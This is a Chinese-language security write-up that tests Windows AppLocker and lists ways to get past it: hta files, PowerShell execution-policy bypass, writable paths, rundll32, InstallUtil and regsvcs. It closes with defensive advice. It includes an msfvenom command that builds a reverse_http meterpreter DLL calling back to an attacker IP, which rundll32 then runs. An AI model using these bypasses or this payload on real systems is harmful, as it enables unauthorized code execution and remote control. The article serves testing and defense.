<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/11804

            0x00 前言


            Alt text

            上一次我們對McAfee Application Control做了測試,這次接著對另一款白名單工具Windows AppLocker進行測試,分享一下其中的攻防技術。

            0x01 簡介


            Windows AppLocker,即“應用程序控制策略”,可用來對可執行程序、安裝程序和腳本進行控制,之前只能支持windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2,但是微軟在2012年10月18日將其更新,已支持Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise

            如圖

            Alt text

            AppLocker可對以下文件格式創建規則,限制其執行

            Alt text

            下面我們就實際測試一下相關功能

            0x02 配置


            測試環境:

            #!bash
            OS:Windows7 Ultimate x86
            

            1、開啟服務

            進入計算機管理-服務-Application Identity,將服務設置為開啟

            如圖

            Alt text

            2、進入AppLocker配置界面

            輸入secpol.msc進入本地安全策略-應用程序控制策略-AppLocker

            或者gpedit.msc-計算機配置-Windows設置-安全設置-應用程序控制策略-AppLocker

            如圖

            Alt text

            3、配置規則

            對可執行文件設置默認規則:

            如圖

            Alt text

            對腳本設置默認規則:

            如圖

            Alt text

            開啟默認規則后,除了默認路徑可以執行外,其他路徑均無法執行程序和腳本

            0x03 測試


            1、執行exe

            Alt text

            2、執行腳本

            Alt text

            Alt text

            0x04 安全機制分析


            通過測試發現設置的規則已經生效,能夠阻止信任路徑外的exe和腳本執行,但是對以下方面沒有做限制:

            1. 內存
            2. Office 宏
            3. HTML Applications,即hta文件
            4. powershell

            而我們已經掌握的繞過技術有:

            1. 利用hta文件
            2. 利用jscript
            3. 利用powershell
            4. 利用InstallUtil
            5. 利用regsvcs

            再加上新學來的技巧,我們最終發現了如下可供利用的方法:)

            0x05 繞過方法


            1、hta

            成功

            (可參照http://drops.wooyun.org/tips/10667

            可用來執行vbs和JavaScript腳本

            2、提權

            提權到管理員權限,即可執行突破AppLocker的限制,執行exe和腳本

            3、powershell

            (1)可以執行ps腳本

            #!bash
            PowerShell.exe -ExecutionPolicy Bypass -File 
            

            (2)可以通過如下方式執行ps腳本

            #!bash
            Get-Content script.txt | iex
            

            (3)可以利用快捷方式執行Powershell

            成功

            (可參照http://drops.wooyun.org/tips/10667

            4、進程注入

            既然可以執行powershell腳本,那么就可以反彈出meterpreter

            然后嘗試進程注入

            (可參照http://drops.wooyun.org/tips/11305

            如果注入到普通權限進程,無法執行exe和腳本

            如果是system權限進程,可以執行exe和腳本

            5、查找可利用的文件路徑

            通過ps腳本掃描可寫入的路徑

            下載地址:http://go.mssec.se/AppLockerBC

            (如果無法下載,我已將該腳本上傳至Github)

            測試如圖

            Alt text

            Alt text

            Alt text

            執行后會自動掃描出可利用的路徑

            比如選擇路徑:c:\Windows\Tasks

            正常執行calc.js會被攔截

            但是copy calc.js c:\Windows\Tasks

            再執行c:\Windows\Tasks\calc.js,可以繞過攔截

            如圖

            Alt text

            6、rundll32

            (1)執行JavaScript

            a、直接彈回一個Http shell

            (可參照http://drops.wooyun.org/tips/11764

            但無法繞過對執行exe和腳本的攔截

            b、利用JavaScript執行powershell命令返回HTTP shell

            Alt text

            (2)加載第三方dll

            a、自己編寫的dll

            參考資料:
            http://blog.didierstevens.com/2010/02/04/cmd-dll/

            按照dll的格式,自己編寫并生成dll上傳

            執行

            #!bash
            rundll32.exe cmd.dll,Control_RunDLL
            

            彈出一個cmd

            如圖

            Alt text

            b、反彈meterpreter

            kali下:

            #!bash
            msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
            

            生成a.dll,然后上傳至測試主機

            執行

            #!bash
            rundll32.exe a.dll,Control_RunDLL
            

            即可上線

            如圖

            Alt text

            Alt text

            7、利用InstallUtil

            利用InstallUtil.exe直接執行shellcode 成功

            如果有Microsoft .NET Framework 4.0環境,可用來執行exe

            (可參照http://drops.wooyun.org/tips/8701,http://drops.wooyun.org/tips/8862

            8、利用regsvcs

            成功

            (可參照http://drops.wooyun.org/tips/10667

            0x06 防御


            1. 嚴格控制文件寫入權限
            2. 禁用mshta.exe阻止hta的運行
            3. 禁用powershell
            4. 防止被提權

            0x07 小結


            隨著研究的逐漸深入,我們不難發現:利用InstallUtil、regsvcs是繞過白名單限制的一把利器,無論是攻擊還是防御,對此部分都要尤其重視。

            而利用rundll32.exe的技巧,正在慢慢被發掘。

            0x08 參考資料:


            相關文件下載地址:

            https://github.com/3gstudent/Bypass-Windows-AppLocker

            本文由三好學生原創并首發于烏云drops,轉載請注明

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线